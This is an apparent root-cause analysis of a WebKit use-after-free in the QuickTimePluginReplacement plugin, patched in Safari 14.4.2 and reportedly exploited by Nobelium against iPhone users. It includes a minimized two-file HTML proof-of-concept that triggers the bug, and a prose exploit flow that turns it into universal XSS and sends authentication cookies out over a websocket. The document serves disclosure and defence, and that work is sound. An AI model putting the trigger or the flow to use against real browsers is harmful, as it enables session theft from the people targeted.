Clement Lecigne, Google Threat Analysis Group

The Basics

Disclosure or Patch Date: 26 March 2021

Product: Apple WebKit (Safari)

Advisory: https://support.apple.com/en-us/HT212256

Affected Versions: 14.4.1 and previous

First Patched Version: 14.4.2

Issue/Bug Report: https://bugs.webkit.org/show_bug.cgi?id=223561

Patch CL: https://github.com/WebKit/WebKit/commit/629d61f760e57cf322288f528a7fcd318dd14327

Bug-Introducing CL: https://github.com/WebKit/WebKit/commit/5f980f44880269f6e273853961097fcc55cca094 FIXME added in https://github.com/WebKit/WebKit/commit/9b04ff6bea713b87c903f06b0ac6518bce0d2c4b

Reporter(s): Clement Lecigne of Google Threat Analysis Group and Billy Leonard of Google Threat Analysis Group

The Code

Proof-of-concept:

Minimized version created from the original exploit:

  • index.html:
<script>
var idd = null;
function onl()
{
    idd = document.getElementById("idd");
    idd.onload = null;
    idd.src = 'http://127.0.0.1:8000/exp.html'
}
function f()
{
    idd.onload = g;
    idd.src = "http://127.0.0.1:8000/&foo=1";
}
function g()
{
    idd.onload = null;
    document.getElementById("cur").appendChild(document.createElement("a"));
}
</script>
<body>
<div id="id1"></div>
<div id="cur"></div><br>
<video id="vid"></video>
<iframe id="idd" style="display:none" onload="onl();"></iframe>
</body>
  • exp.html:
<script>
var worker = null;
function start()
{
    worker = document.getElementById("worker");
    window.top.document.getElementById("cur").addEventListener("DOMNodeInserted", callback0);
    var intl = setInterval(function(){
        worker.GetURL.a = 777;
        window.top.f();
        clearInterval(intl);
    }, 1);
}
function callback0(ev) {
    window.requestAnimationFrame(callback);
}
function gc() {
    for (let i = 0; i < 0x40; i++) { new ArrayBuffer(0x1000000); }
}
function callback(ev) {
    gc();
    alert(worker.GetURL.a); // UAF here.
}
</script>
<body onload="start();">
<embed id="worker" src="data:video/mp4;"></embed>
</body>

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Use-after-free

Vulnerability details:

The QuickTimePluginReplacement plugin maintains an internal JSC script object instance m_scriptObject which is wrongly configured and not properly tracked by the garbage collector. A Use-After-Free can be triggered by referencing external JSValues into the m_scriptObject, these JSValues will be freed while calling window.requestAnimationFrame but their references will still be available in the m_scriptOject.

Comments surrounding the declaration of m_scriptObject are actually hinting for this wrong behavior.

JSC::JSObject* m_scriptObject { nullptr }; // FIXME: Why is it safe to have this pointer here? What keeps it alive during GC?

Patch analysis:

The code of the plugin has been refactored to replace the "custom" m_scriptObject instance by a JSValueInWrappedObject which is safer to use.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

Technically this vulnerability could have been discovered via fuzzing but in this specific case the vulnerability was likely discovered by auditing the code manually. The FIXME added by the WebKit developper probably helped the discovery.

(Historical/present/future) context of bug:

This bug was exploited by Russia/Nobelium to target iPhone users from various government officials. Google TAG Blog

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

Under analysis

The attacker abused the vulnerability to create a type confusion and forge powerful addrof/fakeobj primitives.

To ensure stability and avoid crashes during GC, the exploit makes sure to restore previously corrupted objects before continuing further.

Exploit flow:

Once arbitrary read and write is achieved, the exploit modifies the internal state of the renderer to turn the issue into an universal XSS.

In order to do this, the exploit is following this flow for each targeted websites.

  • Create a websocket w connected to an attacker controled IP.
  • Set m_universalAccess to 1 inside the SecurityOrigin class by traversing a set of pointers.
  • Create a new URL object u poiting to the targeted domain.
  • Overwrite all Document URLS of the websocket w with the ones from the u URL.
  • Overwrite m_url field of the websocket w with the u URL.
  • Trigger a send on the websocket.
  • At the end of the websocket, attacker receives requests as they would be delivered to the targeted websites u including the authentication cookies for the targeted websites.

Known cases of the same exploit flow:

Part of an exploit chain?

The exploit we discovered was only using this single bug. A sandbox escape was not required.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

  • To find very close variants, manually review similar issues in the other plugins where JSC::JSObject are used.
  • Manual audit FIXME comments left in source code and hinting at potential use-after-free bug.
  • Fuzz HTML elements with same callback sequences, potentially with a tool like Domato.

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

Ideas to mitigate the exploit flow:

  • Implementing site isolation in WebKit like it's done in Firefox or Chrome.

Other potential improvements: N/A

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

These types of exploits are likely hard to detect generically.

Other References